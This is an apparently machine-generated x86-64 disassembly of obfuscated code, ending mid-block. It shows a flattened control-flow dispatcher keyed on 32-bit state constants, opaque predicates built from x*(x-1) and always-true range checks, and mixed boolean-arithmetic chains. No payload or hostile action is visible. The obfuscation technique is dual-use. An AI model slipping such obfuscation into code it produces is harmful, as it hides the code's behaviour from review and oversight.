and edx, 0x29359a9
and ecx, 0xfd6ca656
or ecx, edx
xor ecx, 0xfd6ca657
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2804480
mov ebp, ecx
and ebp, 0x40623102
or ebp, edx
xor ebp, 0x40623102
and ecx, 0xbd1d8a7d
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x549c76f2
and ecx, 0xab63890d
or ecx, edx
mov edx, ecx
xor edx, 0x816887
xor ecx, 0x167e0370
mov ebp, ecx
and ebp, 0xf9749408
and edx, 0x68b6bf7
or edx, ebp
xor edx, 0x68b6bf7
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and al, bl
and r8b, cl
or r8b, al
mov edx, ecx
or dl, bl
xor cl, bl
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ebx, edx
xor dl, 1
and dl, r8b
or cl, r8b
xor r8b, 1
and bl, r8b
or dl, bl
xor r8b, al
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x1173d7d1
mov ebp, 0xa5df476d
cmovne eax, ebp
test cl, 1
mov ecx, 0x1173d7d1
jmp 0x1400bc0e1
cmp ecx, 0x2b26be74
je 0x1400bbac1
cmp ecx, 0x2bcc94cc
jne 0x1400adc00
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x9af97122
and edx, ecx
not ecx
mov ebp, ecx
and ebp, 0x5772ffb1
and eax, 0xa88d004e
or eax, ebp
mov ebp, eax
xor ebp, 0x90002
xor eax, 0x12707120
or eax, 0x65068edd
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xfdf40c50
and ebp, 0x2097122
or ebp, edi
or eax, ebx
and ebx, 0xfdf40c50
and edx, 0x20bf3af
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0xfa17001b
and eax, 0x5e8ffe4
or eax, edx
xor eax, 0x60ee7138
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x7986dd2a
and eax, 0x867922d5
or eax, ecx
xor eax, 0x867922d5
sete r8b
setne al
cmp dword [0x14024b72c], 9
setg bl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov edx, eax
xor dl, 1
mov ecx, ebx
xor cl, r8b
not cl
and cl, r8b
or bl, r8b
xor cl, 1
mov r8d, ecx
xor r8b, bl
or cl, bl
xor cl, 1
or cl, r8b
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor al, cl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, cl
not dl
test dl, 1
mov edx, 0x9f29bcd0
mov ebp, 0xc1e3473b
cmovne edx, ebp
test cl, 1
mov ecx, 0x9f29bcd0
cmovne ecx, edx
jmp 0x1400b874b
cmp ecx, 0x3362b42
je 0x1400bbad7
cmp ecx, 0x3fec0d4
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov edx, edi
and edx, 0xf2401c00
and ecx, 0x8246084
or ecx, edx
mov ebx, ecx
xor ebx, 0x8242004
xor ecx, 0xa5d39819
mov ebp, edi
or ebp, 0xfa647c84
mov edx, ebp
not edx
and ecx, 0xa5d3d899
and ebx, 0x5a242404
or ebx, ecx
and ebp, 0xa5d3d899
and edx, 0x80362
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xd5418178
and edx, 0x2abe7e87
or edx, ecx
mov ecx, edx
xor ecx, 0x10820002
xor edx, 0x2a059db4
and edx, 0xea5d9fb4
and ecx, 0x15a2604b
or ecx, edx
xor ecx, 0x15a2604b
mov edx, ecx
and edx, edi
xor ecx, edi
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and r8b, dl
xor dl, al
xor dl, 1
mov ebx, edx
xor bl, al
and bl, dl
and cl, al
or cl, r8b
mov eax, ebx
not al
mov edx, ecx
not dl
and dl, bl
and al, cl
or al, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x1cf944ab
mov ebp, 0xec0fd959
cmovne edx, ebp
test cl, 1
mov ecx, 0x1cf944ab
jmp 0x1400bc2fc
cmp ecx, 0x3e63ad78
je 0x1400bbaed
cmp ecx, 0x408271f6
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov esi, ebx
not esi
mov edx, ebx
or edx, 0x2a0e3474
mov edi, edx
not edi
mov ebp, esi
or ebp, 0xd5f1cb8b
mov ecx, ebp
not ecx
and edx, 0x46f90f6d
and edi, 0x9100c082
or edi, edx
and ebp, 0x46f90f6d
and ecx, 0x28063010
or ecx, ebp
xor ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x2a0e3475
and ecx, 0xd5f1cb8a
or ecx, ebp
mov ebp, ecx
not ebp
and esi, 0xa81690b2
and ebx, 0x57e96f4d
or ebx, esi
mov edx, ebx
xor edx, 0x2c94a0d
xor ebx, 0xa81690b2
mov edi, ecx
and edi, 0x55342560
and ebp, 0xaacbda9f
or ebp, edi
or ecx, ebx
and ebx, 0x55342560
and edx, 0xaacbda9f
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5c9a2a5f
and ecx, 0xa365d5a0
or ecx, edx
xor ecx, 0xa365d5a0
sete cl
setne r9b
cmp r8d, 0xa
setl al
cmp r8d, 9
setg r8b
mov edx, r9d
and dl, r8b
mov ebx, eax
and bl, cl
or bl, dl
xor bl, 1
or bl, r8b
or r9b, al
xor cl, al
and cl, al
mov eax, r9d
xor al, cl
xor cl, 1
xor al, 1
or cl, r9b
xor cl, 1
or cl, al
xor cl, 1
mov eax, ebx
or al, cl
xor cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xe9a4b0c2
mov ebp, 0x41b718e8
cmovne ecx, ebp
test al, 1
mov eax, 0xe9a4b0c2
cmovne ecx, eax
jmp 0x1400b1c44
cmp ecx, 0x888a0f30
je 0x1400bbb03
cmp ecx, 0x893c737c
jne 0x1400adc00
mov ecx, 0x8b80cd8b
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xc4c31281
je 0x1400bbc8c
cmp ecx, 0xc5249d1d
jne 0x1400adc00
mov ecx, 0xf275b25
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x678a8ac0
je 0x1400bbca2
cmp ecx, 0x68dd7be3
jne 0x1400adc00
mov ecx, 0xf9783b59
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xa5df476d
je 0x1400bbcb8
cmp ecx, 0xa68f2e85
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov edx, ebp
or edx, 0xf5507ac6
mov ebx, edx
not ebx
mov eax, ebp
xor eax, 0xaaf8539
and eax, ebp
mov esi, eax
not esi
mov ecx, edx
and ecx, 0x37081687
and ebx, 0x8a78138
or ebx, ecx
or edx, esi
and esi, 0x37081687
and eax, 0xc8f7e978
or eax, esi
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xf5507ac7
and edx, 0xaaf8538
or edx, eax
and edi, 0xedb55e27
and ebp, 0x124aa1d8
or ebp, edi
mov eax, ebp
xor eax, 0x124aa1d8
xor ebp, 0xedb55e27
and ebp, edx
not edx
and eax, edx
or ebp, eax
xor edx, ebp
test edx, ebp
setne r9b
cmp r8d, 9
setg al
cmp r8d, 0xa
setl cl
mov edx, r9d
or dl, cl
xor dl, 1
mov r10d, ecx
and r10b, r9b
mov r8d, edx
and r8b, r10b
xor r10b, dl
or r10b, r8b
xor cl, r9b
xor cl, 1
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov ebx, r10d
xor bl, 1
mov edx, eax
xor dl, bl
mov ecx, ebx
and cl, r10b
xor bl, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, bl
xor cl, al
xor dl, 1
or al, r10b
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0x2234f45a
mov ebp, 0x9e0b67ba
cmovne edx, ebp
test al, 1
mov eax, 0x2234f45a
cmovne eax, edx
jmp 0x1400b81e3
cmp ecx, 0xe0880bd6
je 0x1400bbe1b
cmp ecx, 0xe20aed7b
jne 0x1400adc00
mov ecx, 0x55407610
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x224679da
je 0x1400bbe31
cmp ecx, 0x229f8973
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x98e63c97
and edx, 0x6719c368
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xae56a6df
and edx, 0x51a95920
or edx, ecx
mov ebp, edx
xor ebp, 0x480e4133
mov ecx, edx
xor ecx, 0x36b09a48
xor edx, 0x7326f1b2
and edx, ecx
mov esi, ecx
or esi, 0xba699405
mov edi, esi
not edi
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xa946b6b3
and edx, 0x56b9494c
or edx, eax
or ebx, esi
and esi, 0xa946b6b3
and edi, 0x44904948
or edi, esi
xor edi, edx
not ebx
or ebx, edi
mov eax, ebx
not eax
and eax, 0xd6e9626e
and ebx, 0x29169d91
or ebx, eax
xor ebx, 0x937f0995
and ebp, 0x5c8ec333
mov eax, ecx
and eax, 0xa3713ccc
or eax, ebp
xor eax, 0x5c8ec332
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xae8987d3
and ecx, 0x5176782c
or ecx, eax
xor ecx, 0x5176782c
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x80044021
mov edx, ecx
and edx, 0x201400
or edx, eax
xor edx, 0x201400
and ecx, 0x7fdbabde
or ecx, edx
mov eax, ecx
not eax
and eax, 0xf9f896d8
and ecx, 0x6076927
or ecx, eax
xor ecx, 0x86233d06
setne r9b
sete bl
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg dl
mov r11d, r10d
or r10b, bl
or bl, dl
or r11b, r9b
mov eax, r11d
xor al, bl
or r11b, bl
xor r11b, 1
or r11b, al
xor dl, r9b
xor dl, 1
mov eax, r10d
xor al, dl
or dl, r10b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov r8d, r11d
xor r8b, 1
mov ebx, r8d
and bl, r11b
mov ecx, edx
and cl, al
mov r9d, r8d
xor r9b, bl
xor bl, 1
or bl, r11b
xor bl, 1
or bl, r9b
xor r8b, dl
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, bl
or al, r11b
xor al, 1
or al, r8b
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xaa6e889e
mov ebp, 0x3ac2fb61
cmovne edx, ebp
test al, 1
mov eax, 0xaa6e889e
cmovne eax, edx
jmp 0x1400b891d
cmp ecx, 0x564797c8
je 0x1400bbf54
cmp ecx, 0x56714237
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0x11a82414
and edx, ebp
not ebp
and ebp, 0x11a82414
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf6adb70a
and edx, 0x95248f5
or edx, ecx
mov ebp, edx
xor ebp, 0x18fa6ce1
xor edx, 0x400000e
and edx, 0x4ca0cee
mov ecx, ebp
and ecx, 0xfb35f311
or ecx, edx
mov edx, ecx
xor edx, 0xfb35f311
mov ebx, ecx
xor ebx, 0x7d8b6374
and ebx, edx
and ebp, 0x86be9065
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
mov ebx, ebp
not ebx
and ebx, 0x86be9064
and ebp, 0x79416f9b
or ebp, ebx
and edx, 1
xor ecx, 0xfb35f310
or ecx, edx
mov edx, ecx
not edx
and edx, 0x22e2d08c
and ecx, 0xdd1d2f73
or ecx, edx
xor ecx, 0xdd1d2f73
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x10040100
mov ebp, ecx
and ebp, 0xac99c25
or ebp, edx
xor ebp, 0xac99c25
and ecx, 0xe53262da
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xdcd17411
and ecx, 0x232e8bee
or ecx, edx
xor ecx, 0x39e316cb
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, edx
xor al, bl
and bl, cl
or cl, r8b
xor cl, 1
or cl, al
and dl, r8b
or dl, bl
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
xor al, 1
mov r8d, eax
xor r8b, bl
or al, bl
xor al, 1
or al, r8b
mov r8d, eax
and r8b, cl
xor bl, cl
xor cl, 1
xor al, 1
and al, cl
or al, r8b
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xe902b875
mov ebp, 0x7bdba1d5
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0xe902b875
jmp 0x1400baef8
cmp ecx, 0x962130b1
je 0x1400bbf6a
cmp ecx, 0x9731e898
jne 0x1400adc00
mov ecx, 0x28970dc2
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xd195a20a
je 0x1400bc0fa
cmp ecx, 0xd3c55b90
jne 0x1400adc00
mov rax, qword [rsp + 0x30]
mov ecx, 0x20e6eb2f
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x72a15d87
je 0x1400bc238
cmp ecx, 0x73593862
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
or ecx, 0xd98076e9
mov ebx, ecx
not ebx
mov ebp, edi
or ebp, 0x267f8916
mov edx, ebp
not edx
and ecx, 0xa3e3f9dc
and ebx, 0x41c0002
or ebx, ecx
and ebp, 0xa3e3f9dc
and edx, 0x58000621
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xd61c05d9
and edx, 0x29e3fa26
or edx, ecx
mov ecx, edx
xor ecx, 0x4082011
xor edx, 0x50630cc8
and edx, 0x5bf75fe8
and ecx, 0xa408a017
or ecx, edx
xor ecx, 0xa408a017
mov edx, ecx
and edx, edi
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x570d0a84
and ecx, 0xa8f2f57b
or ecx, edx
xor ecx, 0xa8f2f57b
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor r8b, al
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, r8b
xor bl, 1
and cl, dl
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x27a052f8
mov ebp, 0x6bce4ff3
cmovne eax, ebp
test cl, cl
cmove eax, ebp
test dl, 1
mov ecx, 0x27a052f8
jmp 0x1400adbf2
cmp ecx, 0xb429f3eb
je 0x1400bc315
cmp ecx, 0xb463c60d
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x84480a64
mov ebp, ecx
and ebp, 0x60b00409
or ebp, edx
xor ebp, 0x60b00409
and ecx, 0x1b07f192
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x1b07f192
and ecx, 0xe4f80e6d
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xe4e1ef9
and ecx, 0xf1b1e106
or ecx, ebp
xor ecx, 0xf1b1e107
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x438388d3
and ecx, 0xbc7c772c
or ecx, edx
mov ebx, ecx
xor ebx, 0x105300
xor ecx, 0x3000001
or ebp, 0xc370d3a9
mov edx, ebp
not edx
or ecx, 0x3c850854
and ecx, 0xbfe5087d
and ebx, 0x4010d380
or ebx, ecx
and ebp, 0xbfe5087d
and edx, 0xa2402
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x3c8f2c56
and edx, 0xc370d3a9
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x645e2d97
and edx, 0x9ba1d268
or edx, ecx
mov ecx, edx
xor ecx, 0x11800008
xor edx, 0x400e2913
and edx, 0xca2ffb73
and ecx, 0x35d0048c
or ecx, edx
xor ecx, 0xca2ffb73
cmp ecx, 0xffffffff
sete r9b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r8b
mov eax, edx
xor al, r9b
and al, dl
mov r10d, eax
xor r10b, 1
and al, r8b
and r10b, bl
or r10b, al
mov eax, ebx
xor al, r9b
and al, bl
and dl, r8b
and bl, r9b
or bl, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
not al
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, r10d
xor cl, 1
and al, cl
or cl, dl
and dl, r10b
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x87814d2f
mov ebp, 0x204f70b
cmovne eax, ebp
test dl, dl
mov edx, eax
mov ebp, 0x87814d2f
cmovne edx, ebp
jmp 0x1400b635e
cmp ecx, 0xf2d989f9
je 0x1400bc32b
cmp ecx, 0xf2edd1be
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xdb3c4147
and ebp, ecx
or ecx, 0x24c3beb8
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xb27de496
and edx, 0x49000141
or edx, edi
or ecx, ebx
and ebx, 0xb27de496
and ebp, 0x4d821b69
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x24c3beb8
and ecx, 0xdb3c4147
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xf2791102
and ecx, 0xd86eefd
or ecx, edx
mov edx, ecx
xor edx, 0xd86eefd
xor ecx, 0xf2791102
mov edi, ecx
or edi, 0xe7ca576e
mov esi, edi
not esi
or ebx, 0x1835a891
mov ebp, ebx
not ebp
and edi, 0x10e80b7a
and esi, 0x815a081
or esi, edi
and ebx, 0x10e80b7a
and ebp, 0xe7025404
or ebp, ebx
xor ebp, esi
mov ebx, ebp
not ebx
and ebx, 0x2bfc31db
and ebp, 0xd403ce24
or ebp, ebx
xor ebp, 0xcc3666b4
and ecx, 0xc079cbcd
mov ebx, edx
and ebx, 0x3f863432
or ebx, ecx
xor ebx, 0xc079cbcc
and edx, 1
or edx, ebx
not edx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf79ccc8d
and edx, 0x8633372
or edx, ecx
mov ecx, edx
xor ecx, 0x603170
xor edx, 0x4004804
and ecx, 0xf3fcb5f9
and edx, 0xc034a06
or edx, ecx
xor edx, 0xf3fcb5f9
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, r8b
mov edx, ebx
and dl, cl
or dl, al
xor cl, bl
mov eax, ebx
xor al, r8b
or bl, r8b
xor bl, 1
or bl, al
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x5dce3b9c
mov edx, 0xa300cc2d
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0x5dce3b9c
jmp 0x1400bc0e6
cmp ecx, 0x3ac2fb61
je 0x1400bc43a
cmp ecx, 0x3b493600
jne 0x1400adc00
mov ecx, 0x1276a401
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xeba496
je 0x1400bc450
cmp ecx, 0x152a92f
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x466ea458
mov ebx, ecx
and ebx, 0xb9915ba6
or ebx, ebp
xor ebx, 0xb9915ba6
mov ebp, ecx
and ebp, 1
or ebp, ebx
and edx, 0xccacd1f0
and ecx, 0x33532e0f
or ecx, edx
mov edx, ecx
xor edx, 0x33532e0f
xor ecx, 0xccacd1f0
and ecx, ebp
not ebp
and edx, ebp
or ecx, edx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
or bl, r8b
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x432916bb
mov ebp, 0x77db8f61
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0x432916bb
cmovne ecx, ebp
test dl, 1
jmp 0x1400bbe07
cmp ecx, 0x49bc2ad6
je 0x1400bc563
cmp ecx, 0x4a8b0e45
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rdx - 1]
imul ebx, edx
mov esi, ebx
not esi
mov ebp, esi
or ebp, 0x7f51b8e1
mov edx, ebp
not edx
mov ecx, ebx
or ecx, 0x80240100
and ecx, 0xf174a9e1
mov edi, esi
and edi, 0xe011000
or edi, ecx
and ebp, 0xf174a9e1
and edx, 0x8a461e
or edx, ebp
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x80ae471f
and edx, 0x7f51b8e0
or edx, ecx
and esi, 0x79052fa0
and ebx, 0x86fad05f
or ebx, esi
mov ecx, ebx
xor ecx, 0x8490c00c
mov edi, edx
not edi
mov ebp, edi
and ebp, 0x436a3153
and edx, 0xbc95ceac
or edx, ebp
xor ebx, 0x41002100
and ebx, 0x436a3153
and ecx, 0xbc95ceac
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and cl, bl
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
and al, r8b
or al, cl
xor al, 1
mov ecx, ebx
or cl, al
xor al, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xfdcf025c
mov ebp, 0xf6ae98e5
cmovne edx, ebp
test al, al
mov eax, edx
mov ebp, 0xfdcf025c
jmp 0x1400bad00
cmp ecx, 0x8c1604c6
je 0x1400bc663
cmp ecx, 0x8ca6124b
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x8d02106c
mov eax, ebp
and eax, 0x2021a000
or eax, edx
xor eax, 0x2021a000
mov edx, ebp
xor edx, 0xad23b06c
and edx, ebp
mov edi, eax
and edi, edx
xor edx, eax
or edx, edi
mov eax, edx
not eax
and eax, 0x52dc4f92
and edx, 0xad23b06d
or edx, eax
mov eax, edx
not eax
mov edi, edx
and edi, 0xe25de8da
and eax, 0x1da21725
or eax, edi
or edx, ebp
and ebp, 0xe25de8da
and ebx, 0x1da21725
or ebx, ebp
xor ebx, eax
not edx
or edx, ebx
cmp edx, 0xffffffff
sete dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov r8d, ecx
xor r8b, 1
and bl, dl
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov r9d, eax
xor r9b, 1
mov ebx, ecx
and bl, r8b
mov edx, r9d
and dl, al
mov r10d, ecx
and r10b, bl
xor bl, cl
or bl, r10b
mov ecx, r9d
and cl, dl
xor dl, r9b
or dl, cl
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xf1caba87
mov eax, 0x7205977b
cmovne ecx, eax
test dl, 1
cmove ecx, eax
not bl
test bl, 1
mov eax, 0xf1caba87
jmp 0x1400bbe07
cmp ecx, 0xc9d49a0d
je 0x1400bc685
cmp ecx, 0xca2f80fb
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea edi, [rdx - 1]
imul edi, edx
mov ebx, edi
not ebx
mov ebp, ebx
and ebp, 0xd787ead3
mov eax, edi
and eax, 0x2878152c
or eax, ebp
mov ebp, eax
xor ebp, 0x28580504
xor eax, 0x1584eac0
mov edx, ebx
or edx, 0x15a4fae8
or eax, 1
and eax, 0x15a4fae9
and ebp, 0xea5b0516
or ebp, eax
and edx, 0x15a4fae9
xor edx, ebp
mov eax, edx
not eax
and ebx, eax
and edx, edi
or edx, ebx
xor eax, edx
test eax, edx
setne r10b
sete dl
cmp ecx, 0xa
setl r9b
cmp ecx, 9
setg r8b
mov ecx, edx
or cl, r8b
xor cl, 1
or r9b, dl
xor dl, r8b
not dl
and dl, r8b
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor r9b, 1
xor r10b, r8b
mov ecx, r9d
and cl, r10b
xor r10b, r9b
or r10b, cl
mov ecx, r10d
not cl
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
and cl, r10b
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
xor cl, 1
mov edx, ecx
xor dl, r10b
or cl, r10b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and cl, al
or cl, dl
mov eax, ebx
and al, r10b
xor bl, r10b
or bl, al
mov eax, ebx
xor al, cl
test bl, 1
mov edx, 0x55407610
mov ebp, 0xe20aed7b
cmovne edx, ebp
test cl, 1
cmove edx, ebp
test al, 1
mov eax, 0x55407610
jmp 0x1400baef8
cmp ecx, 0x6fa6b60f
je 0x1400bc69b
cmp ecx, 0x6ffd26c0
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x2c65e7ae
mov ebx, ecx
and ebx, 0xd39a1850
or ebx, ebp
xor ebx, 0xd39a1850
mov ebp, ecx
xor ebp, 0xfffffffe
and ebp, ecx
mov edi, ebx
and edi, ebp
xor ebp, ebx
or ebp, edi
and edx, 0x43d16880
and ecx, 0xbc2e977f
or ecx, edx
mov edx, ecx
xor edx, 0xbc2e977f
xor ecx, 0x43d16880
and ecx, ebp
not ebp
and edx, ebp
or ecx, edx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete dl
setne cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r8b
and cl, r8b
and bl, dl
or bl, cl
mov ecx, r8d
and cl, dl
xor r8b, dl
or cl, r8b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov r9d, ecx
xor r9b, 1
mov ebx, r8d
xor bl, 1
mov eax, ebx
and al, r8b
mov edx, r9d
and dl, cl
xor bl, al
xor al, 1
or al, r8b
xor al, 1
or al, bl
xor r9b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r9b
mov ebx, eax
xor bl, 1
and bl, dl
xor dl, 1
and dl, al
or dl, bl
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x25d92a3d
mov ebp, 0x1ea6d4c7
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x25d92a3d
jmp 0x1400bc0e6
cmp ecx, 0xadfa5a70
je 0x1400bc7c7
cmp ecx, 0xaeec921c
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
